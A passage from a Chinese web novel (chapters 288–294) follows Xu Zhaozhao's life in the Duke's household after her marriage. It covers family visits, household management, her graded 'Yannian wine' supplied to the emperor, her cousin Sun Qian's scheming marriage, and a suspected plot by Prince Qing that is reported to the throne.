谢婵、谢娟二人一起作伴来到锦绣园,她们被请到月华庭前面的厅堂里,至于许昭昭,她还在后面的卧室里躺着躲懒呢。 “主子,您该起身去看看了。” “行吧,原以为她们姐妹二人能沉得住气,没想到还是急了。” “给嫂嫂请安。”姐妹二人福身行礼,很标准。 许昭昭说了声免礼,之后便在主位上坐好。 “二位妹妹今日过来,可是有什么要紧事?” 谢婵轻咬一下嘴唇,然后拿出自己新绣的香囊。 “这是我自己绣的,还望嫂嫂莫要嫌弃。” 丁香接过来,再转呈到许昭昭手上。 “不错,六妹妹这女红很好,也不知日后会是哪家的郎君能娶到这么手巧的娘子。” 谢婵脸色泛红,但她的目的达到了。 谢婵此举,一是为了能讨好这位嫂嫂,二来就是想要暗示一下自己的姻缘。 如今嫂嫂自己主动提到了,谢婵自然是高兴的。 谢娟也送上了自己做的一块帕子,上面绣了牡丹,很漂亮。 许昭昭也不是厚此薄彼的人,很大方地夸奖了一番。 许昭昭见她姐妹二人还是有些羞怯,一个眼神过去,丁香便让大部分人都退下了。 “主子,奴婢来烹茶。” “好。这桂花红茶煮着喝味道别有一番风味,二位妹妹既然来了,也一并尝尝。” 很快,小陶炉和茶壶等一应物什都备好,丁香就在一侧慢悠悠地烹茶,屋内没有燃其它的薰香,只是这茶香,便足已令人心旷神怡。 “七妹妹,你有多久不曾见到宋姨娘了?” 谢娟的脸上闪过一抹怨色:“我也不记得具体日子了,兴许有个两三年了吧。姨娘的一颗心都在父亲身上,便是在府中休养时,也一心惦记着父亲。” 许昭昭轻笑:“父亲远在冀州,有人服侍也是好的。我想她也不是有意疏忽你,兴许明年就能回来了。” 谢娟对此倒是没有什么期待,回不回来的都一样,反正心思也不会放在她身上。 “六妹妹,之前听闻贾姨娘每到换季时,便有咳疾,如今可还是老样子?” “回嫂嫂,我姨娘这是老毛病了,倒也不严重,只是会咳上几日。” 许昭昭点点头:“日后每到换季时,便让她多用一些鲜果茶,煮熟了喝,兴许会好一些。” 谢娟连忙道谢,毕竟贾氏只是姨娘,在府中都不算个正经主子。 “你们二人的来意,其实我多少也能猜到一些,先说六妹妹吧,你是如何打算的?” 谢婵听到嫂嫂主动提及此事,眼眶微红,还有几分激动。 “我一介姑娘家的,能有何打算?原本定下的亲事,谁能想到人家竟然转头便可退婚,我虽不愿,但是老夫人也说国公府的脸面岂能容得外人在地上踩!” 许昭昭点头,关于谢婵退婚一事,她也听说了。 和谢婵定下婚事的,原本出身不显,若不然也不会定下国公爷的庶女。 但是近几年仕途越发地顺遂,所以便看不上一个庶出的姑娘了。 老夫人也是个有手腕的,三言两语便将一切错处推至那男方身上,甚至于还当众揭穿了对方与另外一家嫡女私下互赠订情信物之事。 老夫人自然是要顾着国公府的脸面,所以当即便提出退婚。 所以,原本应该是男方嫌弃谢婵的出身不高而退婚的,到最后外人只以为是男方不老实,又招惹了另一位贵女,所以谢家不堪受辱,这才当众退婚。 虽说是保住了谢家的颜面,但终归是谢婵自己失了婚事。 “此事祖母处置的已然十分妥善,也保住了你的名声,想要再寻一门好亲事,并不难。” 谢婵此时也顾不得害羞了,竟是抬头一脸期待地看着她。 许昭昭轻笑:“不必着急,你才十五岁,而且咱们女子嫁人,最重要的还是要看郎君的人品,其次才是才学能力家世。二位妹妹以为我说的可对?” 姐妹二人同时点头:“嫂嫂说的对。” 许昭昭笑道:“既是认同我的说法,那咱们且不急,而且也得看看老夫人那里是否有了其它的成算。” 许昭昭这番话,也算是暂时地安抚住了她们。 待到姐妹二人离开时,都已经是笑容满满。 因为许昭昭还送了她们一人一件翠纹织锦羽缎斗篷。 二人只是拿了自己做的不值钱的东西过来讨好嫂嫂,可是转头嫂嫂就送了这般重的回礼,所以她们觉得嫂嫂是个大方又心善的好人。 但是一旁的丁香可是听完了全程,待二人走后,她才小声道:“两位小姐看起来很高兴呢。” 许昭昭笑而不语。 丁香也突然笑出声来,小姐只送了两件斗篷,便让这二位小姐对主子好感倍升,却全然没有意识到,其实由始至终,小姐都没有对于她们的婚事做出任何承诺。 果然,还得是小姐呀! 第289章 中馈 时间过得飞快,许昭昭嫁入护国公府已经满一个月了。 这天是初一,按规矩,午膳和晚膳是要一起用的。 现在国公府住的人多,每次若是一起用膳,整个花厅里都得坐满了。 当然,许昭昭的位置,那是一定在主桌的。 有资格坐在主桌的,除了老夫人之外,便是各房的长辈,然后再就是许昭昭。 因为现在住在这里的只有长房、二房和四房,都是一母同胞的兄弟,所以便没有男女席。 这让许昭昭是有几分不自在的。 毕竟她跟谢家的男性长辈们并不熟悉,而且总觉得自己是侄媳妇,和叔叔同桌用膳,总归是怪怪的。 但是老夫人喜欢热闹,而且这分桌的规矩也是她定的,所以许昭昭只好忍着不说话。 每个月的初一、十五都是要一起用膳的。 当然,并非是每回都能真的一家子人坐在一起的。 比如上个月的十五,谢四爷便有事没在,所以少他一个。 谢铮就坐在许昭昭旁边,一直在照顾她用膳。 这种场合,许昭昭是有些拘谨的,吃也吃不好,反而是还要时时注意莫要失了礼仪。 用过午膳后,谢铮就陪她一起回了锦绣园。 锦绣园里现在已经有了小厨房,里面除了两个烧火丫头之外,还有四位厨娘,其中还有两位厨娘被提拔了管事,这其中,便有林嬷嬷的二儿媳春香。 小厨房的另外一位管事,便是许昭昭这边的陪嫁娘子。 许昭昭的小厨房里之所以能放这么多人,一是因为许昭昭经常不用公中的饭食,二来是因为谢铮因为要当值,所以经常子时左右还要再用膳,所以多些人手,这是再合理不过之事。 先前谢四夫人还觉得不妥,特意到老夫人跟前打小报告,结果却被老夫人给撅回去了。 笑话! 那许昭昭就是国公府未来的女主人,她想如何,还轮得到隔房的人指手划脚? 再说了,许昭昭的本事,谁人不知? 便是国公府不愿意出银钱养着那些人,许昭昭养不起吗? 自打春香提了管事娘子之后,这走路都生风了。 林嬷嬷是锦绣园的管事,她是膳房这边的小管事,日子过得那叫一个舒坦。 主要是调到这边做事后,才发现世子夫人不仅性子好,而且出手也大方,随随便便一赏,便是一吊钱。 啧啧,国公府里头哪一位夫人能有她这般大方? 许昭昭近来总算是将一切都梳理得差不多了,也想着尽快让大家都相处融洽起来,而且自己的部分产业和谢铮这里的产业是有交集的,倒是可以试着整合一下。 谢铮用过午膳后只陪着许昭昭躺了一会儿,便换衣服进宫了。 今晚应该是不回来用膳了,许昭昭叹口气,她是真不愿意跟那么多人一起用膳,实在是有些麻烦。 还没到晚膳时间呢,二房的一位下人便过来请她。 “是老夫人吩咐奴婢过来的,二夫人和四夫人也都在陪着老夫人呢。” “行了,我这就过去。” 许昭昭整理了一下发饰,然后带上丁香和紫苏出门。 国公府很大,如今天气又凉了,所以许昭昭直接上了一顶暖轿,能享福,绝对不受罪,这是许昭昭一贯的行事风格。 许昭昭进门请安,这才发现当真没有其它的平辈了。 “三郎媳妇,你坐过来些。” “是,祖母。” 谢老夫人比较有意思,总爱称呼许昭昭为三郎媳妇,好像怕是不这么喊,许昭昭就不是谢家人一样。 “今日找你过来,也是为了咱们府上中馈一事与你做个商量。” 许昭昭立马将姿态摆得很低:“还请祖母吩咐。” 谢老夫人很高兴,这孩子是个懂事的。 于氏笑道:“昭昭,先前顾虑着你刚进门,于府里好些地方不熟悉,所以才一直未曾将中馈交由你打理。如今你进门也有月余,你是三郎媳妇,理当由你来执掌中馈的。” 许昭昭看过去,于氏的表情很诚恳,看不出什么其它的情绪来,倒是一旁的四夫人,瞧着就好像有些气不儿顺的样子。 谢四夫人,其实也就是小林氏,她是谢老夫人的堂侄女。 老夫人偏爱幼子,这也正常,小儿子大孙子,老人家的命根子! 这话可不是说说而已。 老夫人最疼爱的,便是幼子谢啸威,其次便是长孙谢嵘。 可惜了,日后继承国公府的,既不是她的小儿子,也不是她的大孙子。 许昭昭不过是片刻之间便做出回应。 “二婶婶,听闻你掌中馈多年,府上也一直十分和谐,侄媳是晚辈,且入府时间尚短,实在是当不得此大任,还请二婶婶收回成命吧。” 许昭昭的推辞也在于氏的意料之中,毕竟许昭昭手中产业颇丰,而且这样的女子,她的眼界必然不可能只停留在内宅的这些琐事上的。 “我知道你是觉得麻烦,可别说什么管不了这种话,你的本事,母亲与我可都知道得一清二楚呢!别总想着来糊弄我们!” 许昭昭一噎,随即又笑道:“二婶婶这是夸我呢!不过我眼下是真没有这个心力。想必祖母也是知道的,我那云栖山庄还未曾建好呢,那里几乎是天天有人过来禀事,少不得我回头还得再去一趟蓝田县。若是由我执掌中馈,我一走半月二十天的,那府上岂不乱了套?” 于氏笑得一脸轻快:“哪有你说的那么夸张!我看你分明就是想要躲懒。” 许昭昭也立马顺着她的话道:“既然被二婶婶看出来了,那便饶我一回吧。也当是二婶婶疼疼我这个侄媳妇。” 一番逗趣,惹得老夫人也跟着笑起来。 谢四夫人则是微微挑眉,唇角勾起,笑得似乎另有深意。 “也罢,老二媳妇,既然三郎媳妇这么说了,那就还是你先管着,你若是觉得有时候顾不过来,便让老四媳妇帮衬着。” “是,母亲。” 老夫人发话了,于氏自然不会再推让。 “对了,我记得大郎的岳家是不是要摆宴了?” 于氏立马点头:“是大郎的岳母要做寿,所以想要宴请宾朋。” 第290章 很甜 老夫人对于大郎岳家还是很满意的,嘱咐于氏定要备上一份体面的寿礼。 许昭昭不说话,这是大堂嫂的娘家人,她去不去都可以。 而且许昭昭现在已经嫁进国公府了,所以国公府只需要出一份寿礼即可,她就算是去赴宴,也没必要再备一份寿礼。 当然,也有一些关系特别好的,会多备礼物。 比如说许昭昭和谢铮大婚的时候,齐王府给侯府送了贺礼的同时,乐阳郡主又自备了一份贺礼。 这才能看出来两人之间的关系亲厚。 但许昭昭和于家人并不熟,甚至是大多数人都不认识,自然也就没有再备一份贺礼的打算,她甚至都没打算去。 当然,于氏还是要提一句的。 “昭昭那日若是无事,便和我们一同去赴宴吧,正好也多结交些夫人小姐们。” 许昭昭当然不乐意去,她忙着呢。 “按理说于家长辈做寿,我这个做晚辈的是应该过去拜贺的,只是宫里头一直催着要延年酒,我先前在陛下面前许诺了,定要快些送进宫去,所以怕是要让二婶婶恕个罪,还得麻烦您跟于家婶婶宽宥则个。” 于氏并不认为许昭昭在说谎,毕竟都把陛下扯出来了,哪个有这么大的胆子? “原来如此,既是陛下要的,那的确是得上心。” “是呀,我也正头疼呢,夫君说再有两日后便要休沐,所以到时候陪我一起去百果园看看,这延年酒的制作比较繁琐,耗费的药材等原料昂贵得很,所以每年才只得那么一些。” 谢四夫人此时跳出来:“是吗?不过我听说这市面儿上不一直都有延年酒在卖吗?” 那眼神,分明就是在说许昭昭撒谎都不知道换个说辞。 老夫人同样眼神一暗,她也知道外面有延年酒在卖,而且她这里也有呢,怎么会如许昭昭所说这般难以酿制出来? 于氏表情不太好,但还是觉得许昭昭不是那等胡来之人。 果然,许昭昭只是轻笑一声,缓声解释:“外面卖的的确是延年酒,只是这与供于宫中的那可是大不相同。这延年酒也是分了等级的,咱们京城里各处铺子里售卖的,不过就是二等酒,这种酒的产量会稍高一些,但是价格也同样不低。” 老夫人点点头:“听闻这都是十千酒中价格排前三的了,这才只是二等酒?” 许昭昭笑道:“祖母,先前我曾给您送过一坛子延年酒,您可曾喝过?” 老夫人点头:“喝过几次,那味道的确是醇厚且喝过之后,总觉得身上有力气了似的。倒是后来差人在市面儿上买的那些,好像差些意思。” “正是这个道理。一等酒的产量低,连二等酒的三成都不足。所以这一等酒,一般就是自家人喝,再或者就是高门权贵家提前打招呼定下的,这就已经不是单单是价格的事了。比如说这一等酒要价一坛子五十贯,但也得是我乐意卖的门户才行。” 言外之意,若是我许昭昭看着不顺眼的,给我再多钱,这酒我也是不会卖的。 所以说,从一开始,这一等酒,就不曾在市面上流通过。 里面加了更珍贵的药材呢,能一样吗? 如此一解释,几人便都明白了。 尤其是老夫人自己都说了,感觉许昭昭送的跟外面买回来的酒不一样,那是因为等级不同呀。 “不瞒祖母,我娘家那边饮用的便是一等酒,但是我父亲书房里还藏了两坛子特级酒,这特级酒便是专供于宫中的,仅限于陛下和皇后才能拿到。其它人,比如说宁朔公主从我这里定的,也只是一等酒。当然,若是陛下和皇后愿意赏赐给她们一些特等酒,那就另当别论了。” 老夫人听得心头一惊,这特等酒竟是专供于陛下和皇后? “这酒水竟是如此难得吗?” “一等酒的产量只占二等酒的三成,而这特等酒的产量,又只占一等酒的一成,您说这酒是不是很难得?” 老夫人还真没想到,这延年酒竟然是分了等级的。 于氏也是连连感叹:“若非今日昭昭这般一说,我竟不知这延年酒里面还有这么多的门道?” “是呀。这特等酒酿制起来很难,最主要的还是那些珍贵的药材。也是陛下之前用过几坛之后,太医院署那边为陛下诊平安脉时,提及此酒之功效,所以陛下才一再催促。我这里也是没法子,便是我父母那里都不曾孝敬这特等酒,实在是不孝。 后来还是我父亲给陛下送酒时耍赖,陛下没办法了,这才赏了我父亲两坛子,然后抱回去就藏起来了,谁都不让喝,执意要存着,还说这酒封存时间越久越香。” 原来如此! 老夫人觉得先前喝的一等酒就已经很好了,万万没想到,百果园竟然还有特等酒。 啧啧,这个孙媳妇当真是厉害呀。 就凭着这延年酒,便能知道她在御前是有多得宠! 难怪陛下一出手就封县主,而且还是实封呢。 这要是生为男儿身,怕是连官职都赏了。 谢四夫人心有不甘,以前在府里头,她是过得最得意的。 一来是因为她嫁的便是老夫人最喜爱的四爷,二来也是因为她是老夫人的娘家侄女,这关系自然是比于氏更为亲厚。 但是她没想到,这许昭昭一进门,便这般风光。 当初给侯府下聘时,她无意间扫到那长长的礼单,恨不能直接把上面的东西都抢过来。 当年她进门的时候,聘礼怕是比这少了一半都不止。 晚上,谢四夫人便和四爷闹腾起来了。 无非就是觉得自己受了委屈,凭什么被一个小辈给压制了。 谢啸威也被她给哭闹得头疼,他都不知道发生什么事了,怎么就她给怪罪一番? 另一边的锦绣园里,却是气氛温馨,谢铮也不知从何处弄来的葡萄,巴巴地就到许昭昭这里来献宝了。 这个季节,葡萄的确是稀罕物。 “怎么样?” 许昭昭点头,对上谢铮那双黑亮的大眼睛,分明就看出他在巴巴地等着自己夸两句呢。 许昭昭也不吝啬,男人嘛,做了让自己满意之事,该夸就得夸。 “很甜!我很喜欢。” 第291章 遮丑 许昭昭原本只是想着给谢铮一些动力,日后继续为她寻这些好东西。 但是没想到,谢铮直接就扑上来,奔着一双红唇就亲下来了。 一吻作毕,谢铮还意犹未尽地舔一下嘴唇:“嗯,我也尝过了,的确是很甜。” 许昭昭的脸现在都是烫的,这人也太不讲究了! 屋子里还有别人呢! 但是她一转头,嗯?屋里人呢? 谢铮也察觉到了,随后将人抱起来就往床边走。 娘子的下人还是很有眼色的,明天一定好好赏一波。 许昭昭等到谢铮休沐时,的确就一起去百果园了。 延年酒的特级,自然不仅仅是需要药材,还需要许昭昭输送进去的一些药力。 许昭昭下手有分寸,每次都只是输送一点点,若是效果太逆天了,估计她就得被关起来不见天日了。 其实许昭昭每回都会特意弄出来两坛子特级酒,但是上面只标一级,然后再给家里人送去的。 许翰没喝过从皇上那里薅来的特级酒,所以压根儿不知道,他喝的就是跟皇上一样的酒。 百果园内如今菊花开得正好,而且还有许昭昭精心培育出来的诸多花卉,可以说是一到这里,便能感受到不同。 腊梅开得正好,许昭昭还特意命人培植了不少的小植株,然后有些可以养护在室内。 如今百果园的花卉都是各家夫人小姐们的争夺对象。 北方天寒,冬季原本就是萧索的景象,若是能得一些其它颜色点缀,自然是让人心情愉悦。 尤其是许昭昭曾给宫中送去几盆茶花和芍药之后,可把那些夫人小姐们给羡慕坏了。 许昭昭特意命人在百果园建的暖房,在那里会定期的培养一些不同的品种花卉。 这里光是花匠,就已经招募了十余人。 可见冬天这些花卉是卖得有多火爆。 “咱们回去时,带上几盆茶花吧。我瞧着喜欢,还有这腊梅也带一些。” “好。” 谢铮住的地方虽然是叫锦绣园,但也只是这么一个名字而已。 先前那园子里头是难得见到一抹艳丽。 还是成婚前,被于氏特意给院子里移植了一些花卉过去,要不然,那园子更显得荒凉。 许昭昭虽然有能力,但也不能太显眼了。 所以,只能等开春后,再移植一些花果树进园子,待到来年,锦绣园也便名符其实了。 许昭昭和谢铮正收拾着准备回府,却被侯府派来的小厮给请到安信侯府去了。 “母亲,急急忙忙唤我回来,可是出了什么事?” 王若兰面色微愁:“孙茜回来了,而且今天上午还求到了老夫人跟前,执意要让你帮扶一下她的夫君。” “什么情况?” 许昭昭都懵了。 孙茜什么时候成亲的? 她怎么不知道? 孙茜比许昭昭还要大两个月,若只是看年岁,的确是应该成亲了。 但是因为孙茜先前伤了脸,所以关于婚事,便一直拖着。 听闻先前许琳也给她相看过一些寒门学子,甚至还有乡绅之子,但都不了了之。 这怎么突然一下子就跳出来一位表姐夫了? 提起这个孙茜,王若兰就一脸气恼。 而许昭昭也的确是许久未曾关注她了,毕竟不是什么重要的人,谁会一直花费心思在一个无关紧要的人身上? 可今日回来,却没想到孙茜的胆子如此之大! 先前许琳给孙茜相看了几位寒门学子,最差的一个也是秀才郎,好的那位则是举人身份了。 许琳是觉得孙茜的脸毕竟受伤了,所以就嫁一个孙家可以随意拿捏的男子最好,如此日后也不会委屈了孙茜。 但没想到,孙茜自己不乐意呀! 有功名又如何? 那位举人的身份倒是可以,可问题是对方丧妻,而且膝下还有一双儿女,她一个黄花大闺女,怎么可能给人做继室? 所以,孙茜不乐意,甚至是还极其反感。 而那些穷酸秀才,孙茜自然也是看不上的。 孙茜想的很透彻,若是真地嫁给一个穷秀才,先不说日后是否能考中举人能做官,只说这后面几年读书科考的花费,就都得由她来承担。 孙茜知道孙府的家底如何,就算是母亲疼她,也不会把当年的陪嫁都再转给她。 所以,银钱终有耗尽的一日,万一没能高中,又当如何? 孙茜觉得功名不功名已经无所谓了,反正她娘家有势力,那嫁一位商户也无所谓。 商户虽然身份上低贱了些,但是家中不乏钱财,届时她便仍然可以呼奴唤婢,衣着光鲜,何必又去在意什么身份不身份? 孙茜现在脸上的疤淡了些,至少不再如刚开始那般可怕,再加上她是官宦之女的身份,还真就让她选中了一个有钱又有貌的如意郎君。 对方之所以愿意娶孙茜,也就是看中了她背后的这一些人脉关系。 孙茜的婚事,许琳是不同意的,但是奈何孙茜自己愿意,所以直接就在乡下把婚事给办了。 这下子,差点儿把许琳给气出个好歹来! 王若兰叹气道:“孙茜今日求到了你祖母面前,又是哭又是卖惨的,你祖母便一口答应下来,说是让你将百果园的一些酒水直接交由她夫家的商队去外地售卖。” 许昭昭听得有些糊涂。 “所以,母亲,孙茜嫁的到底是谁呀?” 王若兰一拍额头:“我都忘记说了,就是一个云阳县的富商贾家。你姑姑在云阳县有处庄子,当时孙茜就在云阳县的庄子上小住,也不知怎的,这两人就看对眼了。你姑姑知道后不答应,可是她前脚离开云阳,孙茜后脚就嫁进贾家了。” 谢铮听得眉头微紧:“这不对吧?没有三媒六聘,这也算是成亲?” 王若兰的嘴角勾了勾,这个女婿有时候是有点子傻气在身上的。 孙茜和那个贾郎能迅速成亲,十有八九就是二人之间有了什么,怕藏不住了,所以这才匆匆成亲,有人问起,也只说是在云阳县出嫁的,正好许琳也的确是在那个时间段去了云阳县。 其实就是在遮丑的一种说法了,谢铮怎么还较上真了! 第292章 孽障! 许昭昭看出了母亲的暗示,抬手就在谢铮的胳膊上掐了一下。 谢铮咝一声,但也没敢大声喊出来,一脸委屈地看向媳妇,他又说错话了? “你去找我二哥说话吧。” “二哥今日当值。” “那你就去寻我父亲说话,最好一起下下棋。” “岳父不是出去了吗?” 许昭昭怒了:“那你就去书房门口等着!” 谢铮老实了,然后朝着岳母施礼后,乖乖退出去了。 待他一走,王若兰实在是忍不住了,扑哧一声笑得止不住。 许昭昭黑脸:“娘,你这样真的好吗?” 王若兰连忙摆手,然后努力让自己不再笑出声来。 “咳,好了,还是先说那酒水的事吧。” “这种事我不可能应下,我手底下也有管事呢,而且好多事都是老早就已经定好的,大部分都是有契约的,而且是走的官契,我不可能违约。” “我明白,所以才急着将你叫过来,先给你透个底,免得你再为难呀。” “这有什么好为难的?便是祖母来说,我也还是那句话,谁来承担这个失信的风险?这不仅仅是赔偿银钱的事,还会影响到整个百果园的声誉,这种事,我可不会做。这个后果我担不起!” 王若兰小声询问:“这么严重吗?” “当然了!母亲以为与百果园打交道的都是些什么人?就算是商户,您以为这些商户后头哪个没些背景?别的不说,就说其中一支专走南方的商队,他们的东家可是跟齐王府沾着亲呢,您觉得我要是免了人家手里头的经销权,齐王妃会不会来找您喝喝茶?” 王若兰表情一僵,那可是亲王妃,她又不傻,怎么可能会与王妃作对? “那你的意思是?” “不帮,而且我也帮不了。生意场上的事,自然是由那些管事们去操心。我是他们的主子,只管着到日子收钱便是,难不成还要我去挨家挨户的谈这些合作不成?我可是县主!” 王若兰一想也是。 别说许昭昭这个县主了,就是寻常人家的官宦子女手中的产业,也不可能是自己亲手打理的。 “唉,等老夫人问起来,我再想办法吧。” “不用特意想,就按我说的来。祖母年纪大了,一时心软,受不得小辈在她跟前哭哭啼啼罢了。可您才是这侯府的主母,日后这不靠谱的亲戚,还是别再登门了。” 王若兰眼神闪烁,她能拦得住许琳吗? 想想都头疼! 许昭昭也知道母亲的为难之处。 “若是祖母再跟您提及此事,您便直接往我身上推。只说我如今已是谢家妇,有什么事,娘家也不好直接插手,省得被人说嘴。让他们去护国公府寻我便是。” 王若兰能不知道这样推托? 可是如此一来,岂非是将女儿置于为难的境地了? “不可。那孙茜倒还好说,只是你的表姐,无所谓给不给颜面之事,但若是你姑姑也寻到那里可怎么办?你若是不应,她在那里哭嚎起来,丢的还是你的脸。” “脸面都是自个儿挣的,她身为长辈若是不要脸面了,那我也由着她。母亲安心便是,我不是性子软好拿捏的,而且我手中也是有孙茜的把柄的。若是她们识趣,我便饶过她们,若是不识趣,我也不会让她们好过!” 王若兰心中一颤,总觉得闺女出嫁后,怎么好像更强势了? “行吧,你自己心中有数便好。” 既然回来了,还是要去老夫人那里请个安的。 王若兰有些担心,若是老夫人突然提及孙茜的事,她是真怕许昭昭再把老夫人给气着了。 但是她显然是多心了。 因为许昭昭和谢铮才请过安,老夫人便不停地打哈欠,如此一来,二人便直接告退了。 老夫人心里也纳闷儿呢,她没觉得多困呀,怎么一瞅见这孙女孙女婿,就开始打哈欠了? 回到护国公府后,谢铮牵着她的手:“若是孙茜那里让你为难,便由我出面?” “不必!不是什么大事。不过,我倒是挺好奇这个孙茜和那位贾郎君是怎么凑到一起的。” 谢铮也有几分好奇。 两人对视一眼,自然就明白了对方的心意,随后便是安排人去查。 事情查起来不算多费力,虽然许琳使了法子来抹平痕迹,但还是能让有心人查出一二的。 原来是孙茜先与那位郎君有了夫妻之实,之后才有的婚事。 而且还是孙茜算计了那位贾郎君,只不过贾郎君自始至终没察觉到而已。 “我这位好表姐可是好手段呀!脸上有道疤,都能让她算计到一位貌美的郎君,若是任她留在京城,还不知道要算计到谁头上呢。” 谢铮抻着脖子凑过来:“貌美?” 许昭昭看都不看他一眼,抬手就把人的脸给推回去了。 “说话就说话,别离这么近。” 谢铮变脸:“娘子嫌弃我了?” 许昭昭的嘴角微微抽动两下,略带几分嫌弃道:“这种可怜兮兮的样子不适合你。太违合了。让我看了不舒服。” 谢铮立马又恢复如常:“以后不会了。” 许昭昭这才点头,知错就改才是好郎君。 “我对云阳县不熟,你可有人手在那边?” “有,你打算做什么?” “不做什么,就是给贾家找些小麻烦,让他们别来烦我。” “那孙茜呢?” “她如今不是回孙家小住嘛,那就让她住呗,只要不来烦我,随便她闹腾。不过我那位大表嫂也不是好惹的主儿。而且这两年孙庆阳和孙淮之的差事皆有不顺,我就不信许琳愿意纵着闺女,孙庆阳也愿意!” 这话还真让她给说着了。 孙庆阳的确是不愿意再纵着闺女四处惹事了。 既然嫁人了,那就好好跟夫家过日子。 而且孙庆阳是官员,就冲这个,贾家也不敢欺辱孙茜,这便足够了。 可孙茜不愿意呀。 嫁给贾郎君只是一时之计,她想要的,还有更多。 啪! 孙庆阳一巴掌把孙茜打翻在地,怒斥:“你这个孽障,你还想要怎么样?非要把我们整个孙家都毁了才甘心吗?” 第293章 送酒 这可不是孙庆阳太胆小。 而是孙茜想要从许昭昭嘴里头抢肉吃,这简直就是痴人说梦! 许昭昭是什么人? 若是两年前,兴许孙庆阳也不会觉得这个姑娘有多可怕,顶多就是个顶着贵女身份的草包而已。 可现在不一样了。 许昭昭可是陛下亲封的县主,人家有食邑,关键是进宫都不需要提前请示,拿着玉佩就能随时面圣。 这等能耐,放眼整个大兴,有几个女子能做到? 便是齐王府的乐阳郡主,出了名的受帝王宠爱,但是也明显没有许昭昭在陛下那里更得优待。 说白了,就是许昭昭手里头有筹码,而且陛下又愿意纵着她。 但是你孙茜有什么? 整个孙府又有什么? 还敢去算计许昭昭,这是活腻了! “爹,你怎么竟是如此胆小怕事?若是此事成了,那我们孙家便可扶摇直上,您有什么好怕的?” “你懂什么!朝堂之事,你连个皮毛都看不出来,还敢来教为父做事?” “父亲,庆王爷许诺的种种好处,您竟半点不心动?” “哼,那也得我有命享才行!” 孙茜阴着脸,她没想到,父亲竟然是油盐不进。 可是庆王那里明明就更有机会,为何父亲冥顽不灵? “孙茜,你现在已经是贾家妇,日后没有什么事,就不要再回来了。” 孙茜瞪眼:“父亲,我可是您的亲生女儿!而且贾家富贵,您若是需要打点关系,难道能少得了银钱铺路?” “哼,为父的事,就不劳你费心了。下去吧!” 孙庆阳这人是无能,但不是真的蠢! 如今陛下正值春秋鼎盛,而且陛下膝下的皇子们也不少,怎么可能会给庆王上位的机会? 这一旦传出去,就是谋逆的大罪,要诛九族的! 也不知道这个孙茜是得了什么失心疯,竟然疯狂地想要说服孙家民也站到庆王的阵营里。 孙庆阳越想越害怕,一旦事发,那孙茜是他的女儿,他这里也是一样要受到牵连的。 孙庆阳一时间六神无主,呆坐了将近一个时辰,才拿定主意去寻大舅兄想办法。 许翰正好也在府里和大儿子一起商量着亲兵的事呢,得知这个妹夫上门,也只得打起精神来应付。 哪知道孙庆阳竟然带来这么大的一个消息。 那可是死罪呀! “你说的都是真的?” “大哥,这种事情,我怎么敢跟你撒谎呀。不怕你笑话,我现在这腿都是软的,后背都是湿的。茜儿那丫头被我大骂了一通,毕竟只是一介妇人,见识短浅,她倒不曾意识到这是庆王的大事,只是单纯觉得是一个可以赚钱又能搭上勋贵的关系,被我骂了之后,哭哭啼啼地回去了。” “你的意思是,只是孙茜跟你提了此事,贾家人一直没露面儿?” “对。” “这样,别慌,你先稳住。冷一冷孙茜也是好事,若是贾家和庆王府的关系紧密,兴许过一阵子还会再来寻你商议。届时你只需态度上稍微松一松,但是不可一口应下。” 孙庆阳吓得脸都白了:“大哥,你可别害我呀!” “蠢货!这是你立功的大好机会,不是一直都觉得自己前程无望吗?现在机会来了,你反倒是想要往后缩,没出息!” 孙庆阳被他一骂,人竟然精神起来了。 果然,多少是有些犯贱的。 “你来我这里,可有人看到?” “没有。我出府后,先去了一趟酒楼,然后在那里跟人换了一身衣裳,又一路小跑着过来的,连马都没骑。” 许翰点头:“算你聪明。行了,你还是先回酒楼,我会在暗中派人跟着你,如果发现尾巴了,便会替你处理掉。” “多谢大哥。” “此事不可再对任何人提及,许琳和孙淮之那里,更是一个字都不许透露,否则,小心你们孙家人的性命!” “是是是,我记下了,大哥。” “回去吧。” 许翰没有急着进宫,而是左思右想之后,还是先派人去一趟百果园,从那里拉了一车酒回来。 “禀侯爷,百果园那边的管事说,这特级的延年酒,如今只得了六坛,既然是陛下着急要,那就拜托您先送进宫,免得陛下着急。” “好,本侯知道了。记得跟你家主子那边也知会一声,就说陛下很喜欢这酒,让她得空了便酿一些。” “是,侯爷。” 许翰骑上马,后面跟着一车酒,然后进宫了。 永安帝正在考校几个儿子的功课,听闻许翰给他送酒来了,还有几分好奇。 “这老小子今天是吃错药了?平时让他送个酒,都得三催四请的,这回倒是挺主动。” 大太监笑道:“侯爷那也就是嘴上说得硬气些,实际上哪回不是把您交代的差事办得利利索索的?” 永安帝大笑:“这话倒也对。宣他进来吧。” 许翰进来,后面跟着的一些内侍也将这六坛酒都抱进来了。 “这些都是新酿制的延年酒?” “回陛下,正是。这特级酒不好酿造,产量也低,您还是省着点儿喝吧。” 永安帝瞪他:“胡说什么!朕岂是那贪酒之人?这是太医院给朕开的药引子,每日一小碗,朕是为了养身。” “是是是,您是陛下,您都对!” 听着他这敷衍的话,永安帝就极为不悦:“没事就滚吧!” 许翰挑眉:“没事臣也不能进宫来送酒呀!” 永安帝一愣,再一对上他肃然的视线,立马明白了。 几息的功夫,这大殿内便只有他们君臣二人了。 “你说的消息可靠吗?” “目前还不能确定,臣进宫来就是请陛下吩咐的,可要去查证?另外,孙庆阳那边,臣也已经安抚好了,让他先别慌,若是贾家人再过来跟他接触,又或者是通过孙茜来跟他谈合作,那就先拖一拖,不能应,但是也不能再一口回绝了。” 永安帝点头:“你安排得对。庆王呀!这么多年了,没想到竟还没有死心呢。” “陛下,当年是您仁慈宽厚,所以不仅未曾治他的罪,还让他去封地逍遥快活,以臣看,这庆王就是不知足!” 第294章 专业的事交给志业的人来做 其实永安帝也头疼呀。 庆王是他的庶弟,当年同为皇子,就算是他对这个弟弟不怎么上心,但是至少不曾想过要害他。 毕竟皇家立嫡立长,而庆王非嫡非长,所以不管怎么排,都排不到他头上。 也正是因为如此,所以当年的永安帝才会对这个弟弟网开一面。 可是没想到,终究还是将人的胃口给养大了呀。 “也罢,先查一查再说吧。如今外患才刚刚解决,咱们在外面所设的几个都督府都还不曾站稳脚跟,朝廷上也正是用人之际。若是有愿意弃暗投明者,朕也愿意宽恕一二。” “陛下圣明!” 许翰从宫中出来时,两位内侍帮忙抬着一个小箱子。 随从上前接过,还沉甸甸地。 “侯爷?” “回去后放在以前给昭昭攒嫁妆的小库房里,这是陛下赏给她的。我先给她存着。” “是,侯爷。”随从一听这话也乐了。 十有八九是陛下尝过酒了,定然是十分满意,这才会赐下赏。 